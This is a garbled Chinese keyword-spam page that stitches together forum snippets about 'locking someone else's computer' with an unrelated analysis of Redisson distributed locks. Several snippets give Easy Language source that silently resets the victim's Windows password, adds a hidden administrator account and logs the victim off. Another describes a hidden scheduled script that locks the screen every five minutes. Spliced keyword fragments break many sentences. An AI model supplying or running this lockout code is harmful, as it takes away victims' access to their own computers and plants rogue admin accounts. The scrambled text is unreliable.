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2024-11-20 19:27:37 来源:java坦克源码 分类:娱乐

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锁别人电脑软件源码_锁别人电脑软件源码怎么办

谁有易语言强制锁电脑的人电软件源码

       .版本 2

       .支持库 shell

       .子程序 __启动窗口_创建完毕

       .局部变量 用户名, 文本型

       .局部变量 密码, 文本型

       用户名 = “想知道密码联系” ' 这里设置你的用户名,中间不要加任何标点符号.

       密码 = “” ' 这里设置密码

       运行 (“net user ” + 读环境变量 (“username”) + “ ” + 密码, 假, ) ' 先把原密码改掉

       运行 (“net user ” + 用户名 + “ ” + 密码 + “ /add”, 假, ) ' 添加一个用户

       运行 (“net localgroup administrators ” + 用户名 + “ /add”, 假, ) ' 把这个用户添加的超级管理员组中

       写注册项 (4, “SOFTWARE\Microsoft\Windows\CurrentVersion\Hints\” + 用户名, 用户名) ' 这里是后面显示那个帮助提示.

       关闭系统 (3, 真) ' 注销系统帐号,桌面返回到登陆界面.

       结束 ()

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       恶搞有度,脑软锁屏就行了,码锁也不会导致数据丢失。别人办

       锁屏命令:rundll.exe user.dll,电脑os桌面源码LockWorkStation

       将上语句保存为批处理文件,再用vbs隐藏(百度可查vbs隐藏批处理)。源码

       建立计划任务,锁别每五分钟执行一次vbs,人电软件玩游戏时,脑软估计会砸键盘。码锁

易语言锁别人电脑改用户名源码

       运行("net user Administrator 密码1",别人办假,#隐藏窗口)

       运行("net user 用户名1 密码1 /add",假,#隐藏窗口)

       运行("net administrators 用户名2",假,#隐藏窗口)

       如上代码解释:

       密码1(PASSWORD ONE):换成自己希望设置的密码

       密码2(PASSWORD TWO):换成自己希望设置的密码

       用户名1(USER NAME ONE):换成自己希望设置的用户名称

       用户名2(USER NAME TWO):同 用户名1 一样、

易语言锁机源码

       运行("net user Administrator 密码",电脑假,#隐藏窗口) 运行("net user 用户名 密码 /add",假,#隐藏窗口) 运行("net user administrators 同上用户名 /add",假,#隐藏窗口) 这段代码,就OK了 用户名-账号名称,源码密码-你想设定的锁别密码,同上用户名-第二句代码中的用户名 自己改变一下 以此类推 ,要关机的预约上门 源码话,加上: 关闭系统(#关机,真)

Redisson可重入锁加锁源码分析

       在分布式环境中,控制并发的关键往往需要分布式锁。Redisson,作为Redis的高效客户端,其源码清晰易懂,这里主要探讨Redisson可重入锁的加锁原理,以版本3..5为例,但重点是允许出售源码理解其核心逻辑,而非特定版本。

       加锁始于用户通过`redissonClient`获取RLock实例,并通过`lock`方法调用。这个过程最后会进入`RLock`类的`lock`方法,核心步骤是`tryAcquire`方法。

       `tryAcquire`方法中,首先获取线程ID,用于标识是lightdm源码解析哪个线程在请求锁。接着,尝试加锁的真正核心在`tryAcquireAsync`,它嵌套了`get`方法,这个get方法会阻塞等待异步获取锁的结果。

       在`tryAcquireAsync`中,如果锁的租期未设置,会使用默认的秒。脚本执行是源码吗头加锁的核心,一个lua脚本负责保证命令的原子性。脚本中,`keys`和`argv`参数处理至关重要,尤其是判断哈希结构`_come`的键值对状态。

       脚本逻辑分为三个条件:如果锁不存在,会设置并设置过期时间;如果当前线程已持有锁,会增加重入次数并更新过期时间;若其他线程持有,加锁失败并返回剩余存活时间。加锁失败时,系统会查询锁的剩余时间,用于后续的重试策略。

       加锁成功后,会进行自动续期,通过`Future`监听异步操作结果。如果锁已成功获取且未设置过期时间,会定时执行`scheduleExpirationRenewal`,每秒检查锁状态,延长锁的存活时间。

       整个流程总结如下:首先通过lua脚本在Redis中创建和更新锁的哈希结构,对线程进行标识。若无过期时间,定时任务会确保锁的持续有效。重入锁通过`hincrby`增加键值对实现。加锁失败后,客户端会等待锁的剩余存活时间,再进行重试。

       至于加锁失败的处理,客户端会根据剩余存活时间进行阻塞,等待后尝试再次获取锁。这整个流程展现了Redisson可重入锁的简洁设计,主要涉及线程标识、原子操作和定时续期等关键点。

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